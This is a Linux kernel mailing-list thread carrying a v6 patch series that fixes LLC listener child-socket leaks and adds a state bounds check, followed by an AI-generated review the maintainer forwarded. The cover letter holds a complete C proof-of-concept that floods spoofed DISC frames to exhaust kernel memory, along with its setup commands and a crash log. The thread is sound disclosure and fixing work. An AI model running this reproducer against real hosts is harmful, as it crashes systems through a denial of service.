llc: fix listener child socket leaks before passive open completes
Subsystems (4)
v6 cover llc: fix listener child socket leaks before passive open completes
Hi Linux kernel maintainers,
We found and validated a issue in net/llc/llc_conn.c. The reproducer needs CAP_NET_RAW and CAP_NET_ADMIN in init_net.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
llc_conn_handler() creates a passive-open child for every frame matched by an LLC listener. The child is immediately inserted in the SAP tables and takes a device reference, before the LLC state machine proves that the frame is a real passive open and before LLC_CONN_PRIM makes it available to accept().
A non-SABME frame never reaches that indication. The old path therefore leaves a published child behind which accept() cannot return. The same lifecycle gap also remains for SABME traffic when direct processing, backlog enqueue, or backlog processing exits before LLC_CONN_PRIM, and when a listener is closed with queued but unaccepted children.
The fix creates children only for SABME commands. DISC and other commands that need an ADM-state DM reply are answered directly from the listener using the packet source address, while other non-SABME traffic is dropped without driving the listener state machine.
For SABME, the child remains in the SAP tables during passive open so tuple lookup continues to win over the listener. The patch tracks children through pending and queued states, routes packets for a pending child through the listener-side handshake, and removes any child that has not been accepted when a failure, backlog drop, or listener close occurs. Cleanup is not gated on the current TCP state, so children are also released if the socket leaves TCP_LISTEN before close. Process-context child-lock acquisition is serialized with bottom halves disabled. Final child destruction is deferred to process context so its timers can be synchronized safely.
The root-cause fact fixed here predates d389424e00f9. Its parent already creates a listener-side child, publishes it to the SAP tables before LLC_CONN_PRIM, and has no rollback path if processing exits early. In the local visible history, the earliest commit where that root-cause fact is already present is 1da177e4c3f4 ("Linux-2.6.12-rc2"), so Fixes points there.
The reproducer writes panic_on_oom only to turn the final memory exhaustion into stable crash evidence after the leak is already confirmed. It is not a prerequisite for the underlying bug or for the required-capability trigger path itself.
packetdrill was not used here because the trigger depends on combining a PF_LLC listening socket with raw AF_PACKET injection over a veth pair while rotating the source MAC address to force distinct passive-open children. The PoC is centered on that listener-plus-raw-packet resource leak path rather than on a packetdrill-friendly timing script.
Reproducer:
gcc -O2 -static -o poc poc.c
./poc llc_rx0 llc_tx0 110000
For the validated run we used the privileged init_net setup below so the PoC could create llc_rx0/llc_tx0 and then send the crafted LLC traffic:
ip link add llc_rx0 type veth peer name llc_tx0 ip link set llc_rx0 address 02:11:22:33:44:55 ip link set llc_tx0 address 02:11:22:33:44:66 ip link set llc_rx0 up
ip link set llc_tx0 up
./poc llc_rx0 llc_tx0 110000
For deterministic crash evidence only, after confirming the leak with that required-capability trigger path, we additionally set:
echo 2 > /proc/sys/vm/panic_on_oom
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef AF_LLC
#define AF_LLC 26
#endif
#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define DEFAULT_REPORT_EVERY 10000ULL
static void die_errno(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}static void usage(const char *prog)
{
fprintf(stderr,
"usage: %s [rx_if] [tx_if] [count]\n"
" rx_if: LLC listener interface (default: %s)\n" " tx_if: raw packet sender interface (default: %s)\n" " count: number of DISC frames to send, 0 means forever\n", prog, DEFAULT_RX_IF, DEFAULT_TX_IF);
}
static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
struct ifreq ifr;
int fd;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
die_errno("ioctl(SIOCGIFHWADDR)");
memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
close(fd);
}static int get_ifindex(const char *ifname)
{
struct ifreq ifr;
int fd;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
die_errno("ioctl(SIOCGIFINDEX)");
close(fd);
return ifr.ifr_ifindex;
}static int make_listener(const char *ifname, uint8_t sap, unsigned char mac[ETH_ALEN])
{
struct sockaddr_llc addr;
int fd;
fd = socket(AF_LLC, SOCK_STREAM, 0);
if (fd < 0)
die_errno("socket(AF_LLC)");
get_if_hwaddr(ifname, mac);
memset(&addr, 0, sizeof(addr));
addr.sllc_family = AF_LLC;
addr.sllc_arphrd = ARPHRD_ETHER;
addr.sllc_sap = sap;
memcpy(addr.sllc_mac, mac, ETH_ALEN);
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die_errno("bind(AF_LLC)");
if (listen(fd, 16) < 0)
die_errno("listen(AF_LLC)");
return fd;
}static int make_packet_socket(const char *ifname, int *ifindex_out)
{
struct sockaddr_ll sll;
int fd;
int one = 1;
int ifindex = get_ifindex(ifname);
fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (fd < 0)
die_errno("socket(AF_PACKET)");
setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_ifindex = ifindex;
if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("bind(AF_PACKET)");
*ifindex_out = ifindex;
return fd;
}static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
mac[0] = 0x02;
mac[1] = (n >> 32) & 0xff;
mac[2] = (n >> 24) & 0xff;
mac[3] = (n >> 16) & 0xff;
mac[4] = (n >> 8) & 0xff;
mac[5] = n & 0xff;
}int main(int argc, char **argv)
{
static unsigned char frame[ETH_ZLEN];
unsigned char dst_mac[ETH_ALEN];
unsigned char src_mac[ETH_ALEN];
struct sockaddr_ll sll;
const char *rx_if = DEFAULT_RX_IF;
const char *tx_if = DEFAULT_TX_IF;
uint64_t count = 0;
uint64_t i = 1;
int listener_fd;
int packet_fd;
int ifindex;
if (argc > 1 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
usage(argv[0]);
return 0;
}
if (argc > 1)
rx_if = argv[1];
if (argc > 2)
tx_if = argv[2];
if (argc > 3) {
char *end = NULL;
errno = 0;
count = strtoull(argv[3], &end, 0);
if (errno || !end || *end != '\0') {
fprintf(stderr, "invalid count: %s\n", argv[3]);
return EXIT_FAILURE;
}
}
if (argc > 4) {
usage(argv[0]);
return EXIT_FAILURE;
}
listener_fd = make_listener(rx_if, DEFAULT_SAP, dst_mac);
packet_fd = make_packet_socket(tx_if, &ifindex);
memset(frame, 0, sizeof(frame));
memcpy(frame, dst_mac, ETH_ALEN);
((struct ethhdr *)frame)->h_proto = htons(3);
frame[ETH_HLEN + 0] = DEFAULT_SAP;
frame[ETH_HLEN + 1] = 0x04;
frame[ETH_HLEN + 2] = 0x43; /* DISC command, P/F=0 */
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_ifindex = ifindex;
sll.sll_halen = ETH_ALEN;
memcpy(sll.sll_addr, dst_mac, ETH_ALEN);
fprintf(stderr,
"listener_if=%s sender_if=%s sap=0x%02x count=%s\n",
rx_if, tx_if, DEFAULT_SAP, count ? argv[3] : "0");
fprintf(stderr,
"listener_mac=%02x:%02x:%02x:%02x:%02x:%02x\n",
dst_mac[0], dst_mac[1], dst_mac[2],
dst_mac[3], dst_mac[4], dst_mac[5]);
fprintf(stderr,
"sending LLC DISC commands with a unique spoofed source MAC each time\n");
while (!count || i <= count) {
fill_src_mac(src_mac, i);
if (!memcmp(src_mac, dst_mac, ETH_ALEN))
src_mac[ETH_ALEN - 1] ^= 1;
memcpy(frame + ETH_ALEN, src_mac, ETH_ALEN);
if (sendto(packet_fd, frame, sizeof(frame), 0,
(struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("sendto(AF_PACKET)");
if (!(i % DEFAULT_REPORT_EVERY))
fprintf(stderr, "sent=%llu\n",
(unsigned long long)i);
i++;
}
close(packet_fd);
close(listener_fd);
return 0;
}------END poc.c--------
----BEGIN crash log----
[ 1665.704541][T10284] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
[ 1665.705358][T10284] CPU: 0 UID: 0 PID: 10284 Comm: poc Not tainted 6.12.74 #3
[ 1665.705911][T10284] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1665.706676][T10284] Call Trace:
[ 1665.706943][T10284] <TASK>
[1665.707181][T10284] dump_stack_lvl (lib/dump_stack.c:105 (discriminator 2))
[1665.707568][T10284] panic (kernel/panic.c:339 (discriminator 1))
[1665.707918][T10284] ? dump_header (include/linux/rcupdate.h:815 (discriminator 1) mm/oom_kill.c:455 (discriminator 1) mm/oom_kill.c:478 (discriminator 1))
[1665.708305][T10284] ? __pfx_panic (kernel/panic.c:277)
-----END crash log-----
changes in v6:
- Hold a reference for children queued for accept() and release it when they are dequeued, while retaining SAP publication so tuple lookup still finds a pending child before the passive open completes.
- Make direct receive, backlog, accept-queue, and listener-close cleanup symmetric, with bottom-half-disabled child locking in process context.
- Keep the LLC_CONN_OUT_OF_SVC lower-bound check in its separate patch and use the ADM state boundary consistently.
- v5 Link: https://lore.kernel.org/all/[email protected]/
changes in v5:
- Make listener child cleanup unconditional so queued children are also released if the socket leaves TCP_LISTEN before close.
- Serialize process-context child cleanup and backlog dispatch with bottom halves disabled, avoiding child-lock acquisition races with LLC receive and timer paths.
- Drop packets redirected through a pending child after its listener is no longer listening, and release children left out of service instead of dispatching them.
- Split the LLC_CONN_OUT_OF_SVC lower-bound check into a separate patch.
- v4 Link: https://lore.kernel.org/all/[email protected]/
changes in v4:
- Create a passive-open child only for SABME and generate listener-side DM replies directly for non-SABME commands.
- Use an atomic incoming-child lifecycle and serialize pending-child lookup, backlog processing, rollback, and listener close with the child lock.
- Keep immediate SAP publication for passive-open tuple matching, but release unaccepted children on direct and backlog failures and on listener close.
- Defer final incoming-child cleanup to workqueue context so timer synchronization does not run in the receive softirq path.
- Add an LLC state lower-bound check before state-table dispatch.
- v3 Link: https://lore.kernel.org/all/[email protected]/
changes in v3:
- Drop the unused llc_conn_handler() local rc variable reported in review.
- Rebase the numbered patch and cover onto commit
ede76849012e45ffb2193ad110b42027eec02c5c.
- v2 Link: https://lore.kernel.org/all/[email protected]/
changes in v2:
- Rework the fix to preserve the existing passive-open tuple matching semantics instead of deferring child publication until LLC_CONN_PRIM.
- Track listener-created children pending publication to accept(), and roll them back on every earlier failure or drop path.
- Cover the original non-SABME leak and SABME paths which fail before LLC_CONN_PRIM, including backlog enqueue and backlog drop failures.
- Correct Fixes to 1da177e4c3f4 ("Linux-2.6.12-rc2") based on the earliest locally visible history carrying the same root-cause fact.
- Clarify panic_on_oom crash evidence and packetdrill selection.
- v1 Link: https://lore.kernel.org/all/[email protected]/
Best regards,
Zihan Xi
Zihan Xi (2):
llc: fix listener child socket leaks before passive open completes
llc: reject out-of-service state before state lookup
include/net/llc_conn.h | 13 +- net/llc/af_llc.c | 22 +++- net/llc/llc_conn.c | 274 +++++++++++++++++++++++++++++++++++++++-- 3 files changed, 294 insertions(+), 15 deletions(-)
Signature · 1 line
2.43.0
PATCH v6 1/2 llc: fix listener child socket leaks before passive open completes
llc_conn_handler() creates and publishes a child whenever a listener matches a packet. A non-SABME frame never completes the passive open, so the child remains in the SAP tables, keeps its device reference, and cannot be returned by accept().
Create children only for SABME commands. Handle the listener's required DM replies directly, using the packet source address, and do not run the listener through the connection state machine.
Keep SABME children in the SAP tables during the passive open so that established lookup continues to select them. Track children until the connection indication is queued for accept(), and release any child that fails before then, including direct and backlog failures and listener close. Reject redirected packets after the listener leaves TCP_LISTEN.
The child socket lock is acquired with bottom halves disabled whenever the cleanup or backlog path runs in process context.
---
changes in v6:
- Hold a reference for children queued for accept() and release it when they are dequeued, while retaining SAP publication so tuple lookup still finds a pending child before the passive open completes.
- Make direct receive, backlog, accept-queue, and listener-close cleanup symmetric, with bottom-half-disabled child locking in process context.
- Keep the LLC_CONN_OUT_OF_SVC lower-bound check in its separate patch and use the ADM state boundary consistently.
- v5 Link: https://lore.kernel.org/all/[email protected]/
changes in v5:
- Make listener child cleanup unconditional so queued children are also released if the socket leaves TCP_LISTEN before close.
- Serialize process-context child cleanup and backlog dispatch with bottom halves disabled, avoiding child-lock acquisition races with LLC receive and timer paths.
- Drop packets redirected through a pending child after its listener is no longer listening, and release children left out of service instead of dispatching them.
- Split the LLC_CONN_OUT_OF_SVC lower-bound check into a separate patch.
- v4 Link: https://lore.kernel.org/all/[email protected]/
changes in v4:
- Create a passive-open child only for SABME and generate listener-side DM replies directly for non-SABME commands.
- Use an atomic incoming-child lifecycle and serialize pending-child lookup, backlog processing, rollback, and listener close with the child lock.
- Keep immediate SAP publication for passive-open tuple matching, but release unaccepted children on direct and backlog failures and on listener close.
- Defer final incoming-child cleanup to workqueue context so timer synchronization does not run in the receive softirq path.
- Add an LLC state lower-bound check before state-table dispatch.
- v3 Link: https://lore.kernel.org/all/[email protected]/
changes in v3:
- Drop the unused llc_conn_handler() local rc variable reported in review.
- Rebase the numbered patch and cover onto commit
ede76849012e45ffb2193ad110b42027eec02c5c.
- v2 Link: https://lore.kernel.org/all/[email protected]/
changes in v2:
- Rework the fix to preserve the existing passive-open tuple matching semantics instead of deferring child publication until LLC_CONN_PRIM.
- Track listener-created children pending publication to accept(), and roll them back on every earlier failure or drop path.
- Cover the original non-SABME leak and SABME paths which fail before LLC_CONN_PRIM, including backlog enqueue and backlog drop failures.
- Correct Fixes to 1da177e4c3f4 ("Linux-2.6.12-rc2") based on the earliest locally visible history carrying the same root-cause fact.
- Clarify panic_on_oom crash evidence and packetdrill selection.
- v1 Link: https://lore.kernel.org/all/[email protected]/
include/net/llc_conn.h | 13 +- net/llc/af_llc.c | 22 +++- net/llc/llc_conn.c | 271 +++++++++++++++++++++++++++++++++++++++-- 3 files changed, 292 insertions(+), 14 deletions(-)
include/net/llc_conn.h +12 -1
@@ -6,6 +6,7 @@* 2001, 2002 by Arnaldo Carvalho de Melo <[email protected]> */ #include <linux/timer.h> +#include <linux/workqueue.h> #include <net/llc_if.h> #include <net/sock.h> #include <linux/llc.h>
@@ -13,6 +14,10 @@#define LLC_EVENT 1#define LLC_PACKET 2 +#define LLC_INCOMING_NONE 0 +#define LLC_INCOMING_PENDING 1 +#define LLC_INCOMING_QUEUED 2 +#define LLC2_P_TIME 2#define LLC2_ACK_TIME 1#define LLC2_REJ_TIME 3
@@ -72,6 +77,9 @@ struct llc_sock {received and caused sending FRMR. Used for resending FRMR */ u32 cmsg_flags; +atomic_t incoming_state; +struct sock *incoming_listener; +struct work_struct incoming_work;struct hlist_node dev_hash_node; };
@@ -93,7 +101,10 @@ static __inline__ char llc_backlog_type(struct sk_buff *skb)struct sock *llc_sk_alloc (struct net *net,int family,gfp_t priority,struct proto *prot,int kern);void llc_sk_stop_all_timers (struct sock *sk,bool sync); -void llc_sk_free (struct sock *sk); +void llc_sk_free (struct sock *sk,bool sync); +void llc_release_incoming_sock (struct sock *sk); +bool llc_accept_incoming_sock (struct sock *sk); +void llc_release_incoming_children (struct sock *sk);void llc_sk_reset (struct sock *sk);
net/llc/af_llc.c +21 -1
@@ -27,6 +27,7 @@#include <net/llc_sap.h> #include <net/llc_pdu.h> #include <net/llc_conn.h> +#include <net/llc_c_st.h> #include <net/tcp_states.h> /* remember: uninitialized global data is zeroed because its in .bss */
@@ -196,6 +197,7 @@ static int llc_ui_release(struct socket *sock) {struct sock *sk = sock->sk;struct llc_sock *llc; +bool listener;if (unlikely (sk ==NULL )) goto out;
@@ -206,6 +208,9 @@ static int llc_ui_release(struct socket *sock) llc->laddr.lsap, llc->daddr.lsap);if (!llc_send_disc (sk))llc_ui_wait_for_disc (sk,READ_ONCE (sk->sk_rcvtimeo)); + listener = sk->sk_state ==TCP_LISTEN ; +if (listener) +sock_set_flag (sk,SOCK_DEAD );if (!sock_flag (sk,SOCK_ZAPPED )) {struct llc_sap *sap = llc->sap;
@@ -214,16 +219,18 @@ static int llc_ui_release(struct socket *sock)*/ llc_sap_hold (sap);llc_sap_remove_socket (llc->sap, sk); +llc_release_incoming_children (sk);release_sock (sk);llc_sap_put (sap); }else { +llc_release_incoming_children (sk);release_sock (sk); }netdev_put (llc->dev, &llc->dev_tracker);sock_put (sk);sock_orphan (sk); sock->sk =NULL ; -llc_sk_free (sk); +llc_sk_free (sk, true); out:return 0 ; }
@@ -722,6 +729,17 @@ static int llc_ui_accept(struct socket *sock, struct socket *newsock, goto frees; rc =0 ; newsk = skb->sk; +lock_sock_nested (newsk,SINGLE_DEPTH_NESTING ); +if (llc_sk (newsk)->state <LLC_CONN_STATE_ADM || + !llc_accept_incoming_sock (newsk)) { +if (atomic_read (&llc_sk (newsk)->incoming_state) != +LLC_INCOMING_NONE ) +llc_release_incoming_sock (newsk); +release_sock (newsk); +sock_put (newsk); + rc = -ECONNABORTED ; + goto frees; + }/* attach connection to a new socket. */ llc_ui_sk_init (newsock, newsk);sock_reset_flag (newsk,SOCK_ZAPPED );
@@ -737,6 +755,8 @@ static int llc_ui_accept(struct socket *sock, struct socket *newsock,sk_acceptq_removed (sk);dprintk ("%s: ok success on %02X, client on %02X\n" , __func__,llc_sk (sk)->addr.sllc_sap, newllc->daddr.lsap); +release_sock (newsk); +sock_put (newsk); frees:kfree_skb (skb); out:
net/llc/llc_conn.c +259 -12
360 lines not on this page · raw message
Signature · 1 line
2.43.0
PATCH v6 2/2 llc: reject out-of-service state before state lookup
In reply to Zihan Xillc_conn_service() checks only the upper bound of the connection state before llc_qualify_conn_ev() indexes the state table. A socket in LLC_CONN_OUT_OF_SVC therefore reaches llc_conn_state_table[state - 1] with a negative index and can read and call data outside the table.
Reject states below LLC_CONN_STATE_ADM before the state-table lookup.
---
changes in v6:
- Hold a reference for children queued for accept() and release it when they are dequeued, while retaining SAP publication so tuple lookup still finds a pending child before the passive open completes.
- Make direct receive, backlog, accept-queue, and listener-close cleanup symmetric, with bottom-half-disabled child locking in process context.
- Keep the LLC_CONN_OUT_OF_SVC lower-bound check in its separate patch and use the ADM state boundary consistently.
- v5 Link: https://lore.kernel.org/all/[email protected]/
changes in v5:
- Make listener child cleanup unconditional so queued children are also released if the socket leaves TCP_LISTEN before close.
- Serialize process-context child cleanup and backlog dispatch with bottom halves disabled, avoiding child-lock acquisition races with LLC receive and timer paths.
- Drop packets redirected through a pending child after its listener is no longer listening, and release children left out of service instead of dispatching them.
- Split the LLC_CONN_OUT_OF_SVC lower-bound check into a separate patch.
- v4 Link: https://lore.kernel.org/all/[email protected]/
changes in v4:
- Create a passive-open child only for SABME and generate listener-side DM replies directly for non-SABME commands.
- Use an atomic incoming-child lifecycle and serialize pending-child lookup, backlog processing, rollback, and listener close with the child lock.
- Keep immediate SAP publication for passive-open tuple matching, but release unaccepted children on direct and backlog failures and on listener close.
- Defer final incoming-child cleanup to workqueue context so timer synchronization does not run in the receive softirq path.
- Add an LLC state lower-bound check before state-table dispatch.
- v3 Link: https://lore.kernel.org/all/[email protected]/
changes in v3:
- Drop the unused llc_conn_handler() local rc variable reported in review.
- Rebase the numbered patch and cover onto commit
ede76849012e45ffb2193ad110b42027eec02c5c.
- v2 Link: https://lore.kernel.org/all/[email protected]/
changes in v2:
- Rework the fix to preserve the existing passive-open tuple matching semantics instead of deferring child publication until LLC_CONN_PRIM.
- Track listener-created children pending publication to accept(), and roll them back on every earlier failure or drop path.
- Cover the original non-SABME leak and SABME paths which fail before LLC_CONN_PRIM, including backlog enqueue and backlog drop failures.
- Correct Fixes to 1da177e4c3f4 ("Linux-2.6.12-rc2") based on the earliest locally visible history carrying the same root-cause fact.
- Clarify panic_on_oom crash evidence and packetdrill selection.
- v1 Link: https://lore.kernel.org/all/[email protected]/
net/llc/llc_conn.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-)
net/llc/llc_conn.c +2 -1
@@ -362,7 +362,8 @@ static int llc_conn_service(struct sock *sk, struct sk_buff *skb)struct llc_sock *llc =llc_sk (sk);int rc =1 ; -if (llc->state >NBR_CONN_STATES ) +if (llc->state <LLC_CONN_STATE_ADM || + llc->state >NBR_CONN_STATES ) goto out; rc =0 ; trans =llc_qualify_conn_ev (sk, skb);
Signature · 1 line
2.43.0
Jakub Kicinski
maintainerRe: [PATCH net v6 2/2] llc: reject out-of-service state before state lookup
This is an AI-generated review of your patch. The human sending this email has considered the AI review valid, or at least plausible.
---
llc: reject out-of-service state before state lookup
This adds a lower-bound check on llc->state in llc_conn_service() so that a socket sitting in LLC_CONN_OUT_OF_SVC is rejected before llc_qualify_conn_ev() indexes llc_conn_state_table[state - 1]. A few questions about the new check below.
net/llc/llc_conn.c static int llc_conn_service(struct sock *sk, struct sk_buff *skb) · line 367
Quoted 12 lines
net/llc/llc_conn.c +2
-1@@ -362,7 +362,8 @@ static int llc_conn_service(struct sock *sk, struct sk_buff *skb)struct llc_sock *llc =llc_sk (sk);int rc =1 ; -if (llc->state >NBR_CONN_STATES ) +if (llc->state <LLC_CONN_STATE_ADM || + llc->state >NBR_CONN_STATES ) goto out;
[Severity: High]
Does this check actually protect the table access, given that the validated value is not latched? llc_qualify_conn_ev() re-reads llc->state twice to do the indexing:
net/llc/llc_conn.c:llc_qualify_conn_ev() {
struct llc_conn_state *curr_state =
&llc_conn_state_table[llc->state - 1];
...
for (next_trans = curr_state->transitions +
llc_find_offset(llc->state - 1, ev->type);
(*next_trans)->ev; next_trans++) {
if (!((*next_trans)->ev)(sk, skb)) {
...
}The store that produces state 0 is done with no socket lock at all:
net/llc/llc_conn.c:llc_sk_free() {
llc->state = LLC_CONN_OUT_OF_SVC;
/* Stop all (possibly) running timers */
llc_sk_stop_all_timers(sk, sync);
...
}and llc_ui_release() calls it after dropping the socket lock and before the timers are synchronized:
net/llc/af_llc.c:llc_ui_release() {
...
llc_release_incoming_children(sk);
release_sock(sk);
...
llc_sk_free(sk, true);
}So can this interleaving happen for a socket closed while an ack timer is still armed (for example a non-blocking connect() left in LLC_CONN_STATE_SETUP, where llc_send_disc() returns early because sk_state is not TCP_ESTABLISHED and stops nothing)?
CPU0 (softirq, ack timer)llc_conn_ack_tmr_cb() -> llc_conn_tmr_common_cb()
bh_lock_sock(sk); /* excludes nothing here */ llc_process_tmr_ev() /* sees state 2, !sock_owned_by_user() */ llc_conn_state_process() -> llc_conn_service() reads llc->state == 2, passes the new bound check
CPU1 (close(2))llc_ui_release() -> release_sock(sk) -> llc_sk_free()
llc->state = LLC_CONN_OUT_OF_SVC; /* unlocked store of 0 */
CPU0 continues into llc_qualify_conn_ev()
&llc_conn_state_table[llc->state - 1] /* now index -1 */ llc_find_offset(llc->state - 1, ev->type) (*next_trans)->ev(sk, skb) /* indirect call */
Since bh_lock_sock() in llc_conn_tmr_common_cb() does not exclude a writer that holds no lock, is the negative index and the indirect call through the pointer read from before the tables still reachable after this patch?
Would latching the value once, for example
u8 state = READ_ONCE(llc->state);
and passing that value down to llc_qualify_conn_ev() and llc_find_offset(), or moving the llc_sk_free() state store under the socket lock, be a better fit for the problem described in the changelog?
net/llc/llc_conn.c static int llc_conn_service(struct sock *sk, struct sk_buff *skb) · line 369
Quoted 2 lines
net/llc/llc_conn.c +0
-0rc =0 ; trans =llc_qualify_conn_ev (sk, skb);
[Severity: Medium]
The goto out here leaves rc at its initial value of 1, which was previously unreachable for a state of 0. Where does that 1 end up?
net/llc/llc_conn.c:llc_conn_state_process() {
rc = llc_conn_service(skb->sk, skb);
if (unlikely(rc != 0)) {
printk(KERN_ERR "%s: llc_conn_service failed\n", __func__);
goto out_skb_put;
}
...
}net/llc/llc_if.c:llc_establish_connection() {
...
rc = llc_conn_state_process(sk, skb);
}
out_put:
sock_put(sk);
return rc;
}net/llc/af_llc.c:llc_ui_connect() {
rc = llc_establish_connection(sk, llc->dev->dev_addr,
addr->sllc_mac, addr->sllc_sap);
if (rc) {
sock->state = SS_UNCONNECTED;
sk->sk_state = TCP_CLOSE;
goto out;
}
...
out:
release_sock(sk);
return rc;
}Can connect(2) then return +1 to userspace on a socket that was just reset to SS_UNCONNECTED and TCP_CLOSE? Callers testing for a negative return would read that as success.
Is the printk also a concern, since it is not ratelimited and now fires once per event for a state this patch treats as expected?
The sequence I believe reaches it on a still-hashed socket:
1. socket(AF_LLC, SOCK_STREAM) + bind() leaves llc->state at LLC_CONN_STATE_ADM
2. a failing connect() leaves state at ADM with llc->daddr set and the socket still in the SAP list
3. any further frame from the peer matches the ADM catch-all transition
net/llc/llc_c_st.c:
static const struct llc_conn_state_trans llc_adm_state_trans_5 = {
.ev = llc_conn_ev_rx_any_frame,
.next_state = LLC_CONN_OUT_OF_SVC,
.ev_qualifiers = NONE,
.ev_actions = llc_adm_actions_5,
};
which sets llc->state to 0
4. connect(2) again (sock->state is SS_UNCONNECTED, so it is accepted) reaches the new reject path
Would it be more consistent to translate out-of-service into -ECONNABORTED at the llc_if.c entry points? llc_send_disc() already does an explicit check:
net/llc/llc_if.c:llc_send_disc() {
if (sk->sk_type != SOCK_STREAM || sk->sk_state != TCP_ESTABLISHED ||
llc_sk(sk)->state == LLC_CONN_STATE_ADM ||
llc_sk(sk)->state == LLC_CONN_OUT_OF_SVC)
goto out;
...
}while llc_establish_connection() has no such check. On a related note, the kernel-doc for llc_build_and_send_pkt() still documents only 0, -ECONNABORTED and -EBUSY, although state 0 is filtered there only incidentally by llc_data_accept_state().
[Severity: Medium]
This isn't a bug introduced by this patch, but while looking at the callers of llc_conn_service() there is an asymmetry in llc_backlog_rcv() worth mentioning. The fallback branch tests the owner socket's state and then dispatches on it, while llc_conn_state_process() operates on skb->sk:
net/llc/llc_conn.c:llc_backlog_rcv() {
...
} else if (likely(llc->state > 1)) {
rc = llc_conn_rcv(sk, skb);
} else {
goto out_kfree_skb;
}
...
}The two branches above it take bh_lock_sock_nested(newsk) before touching a child, this one does not. For a listener-owned backlog skb whose skb->sk is a child, the child's state machine runs without the child's lock, even though llc_conn_state_process() documents that the socket lock has to be held.
Every child reachable through this branch appears to have already been released by llc_release_incoming_sock(), whose state store the new check now rejects, so this looks defused for the concretely reachable case. What remains is the publication order in that function:
net/llc/llc_conn.c:llc_release_incoming_sock() {
if (atomic_xchg(&llc->incoming_state, LLC_INCOMING_NONE) ==
LLC_INCOMING_NONE)
return;
WRITE_ONCE(llc->state, LLC_CONN_OUT_OF_SVC);
...
}Can a drainer in the fallback branch observe incoming_state as LLC_INCOMING_NONE while still seeing the child's pre-teardown non-zero state, and then run the child's state machine concurrently with llc_release_incoming_sock() on another CPU? Both fields are read there without the child's bh lock. Reaching the branch at all also needs the listener's own llc->state above 1, which seems possible only through a listen() followed by connect() on the same socket, since llc_ui_listen() leaves sock->state at SS_UNCONNECTED and llc_ui_connect() has no TCP_LISTEN check. I could not confirm that all of these hold at the same time, so this may not be reachable in practice.
Signature · 1 line
pw-bot: cr
Re: [PATCH net v6 2/2] llc: reject out-of-service state before state lookup
Quoted 212 lines · Jakub Kicinski
This is an AI-generated review of your patch. The human sending this email has considered the AI review valid, or at least plausible.
---
llc: reject out-of-service state before state lookupThis adds a lower-bound check on
llc->stateinllc_conn_service()so that a socket sitting inLLC_CONN_OUT_OF_SVCis rejected beforellc_qualify_conn_ev()indexes llc_conn_state_table[state - 1]. A few questions about the new check below.net/llc/llc_conn.c static int llc_conn_service(struct sock *sk, struct sk_buff *skb) · line 367
Quoted 12 lines
net/llc/llc_conn.c +2
-1@@ -362,7 +362,8 @@ static int llc_conn_service(struct sock *sk, struct sk_buff *skb)struct llc_sock *llc =llc_sk (sk);int rc =1 ; -if (llc->state >NBR_CONN_STATES ) +if (llc->state <LLC_CONN_STATE_ADM || + llc->state >NBR_CONN_STATES ) goto out;[Severity: High]
Does this check actually protect the table access, given that the validated value is not latched?llc_qualify_conn_ev()re-readsllc->statetwice to do the indexing:net/llc/llc_conn.c:llc_qualify_conn_ev() { struct llc_conn_state *curr_state = &llc_conn_state_table[llc->state - 1]; ... for (next_trans = curr_state->transitions + llc_find_offset(llc->state - 1, ev->type); (*next_trans)->ev; next_trans++) { if (!((*next_trans)->ev)(sk, skb)) { ... }The store that produces state 0 is done with no socket lock at all:
net/llc/llc_conn.c:llc_sk_free() { llc->state = LLC_CONN_OUT_OF_SVC; /* Stop all (possibly) running timers */ llc_sk_stop_all_timers(sk, sync); ... }and
llc_ui_release()calls it after dropping the socket lock and before the timers are synchronized:net/llc/af_llc.c:llc_ui_release() { ... llc_release_incoming_children(sk); release_sock(sk); ... llc_sk_free(sk, true); }So can this interleaving happen for a socket closed while an ack timer is still armed (for example a non-blocking
connect()left inLLC_CONN_STATE_SETUP, wherellc_send_disc()returns early becausesk_stateis notTCP_ESTABLISHEDand stops nothing)?CPU0 (softirq, ack timer)
llc_conn_ack_tmr_cb()->llc_conn_tmr_common_cb()
bh_lock_sock(sk); /* excludes nothing here */
llc_process_tmr_ev()/* sees state 2, !sock_owned_by_user() */
llc_conn_state_process()->llc_conn_service()
readsllc->state== 2, passes the new bound checkCPU1 (close(2))
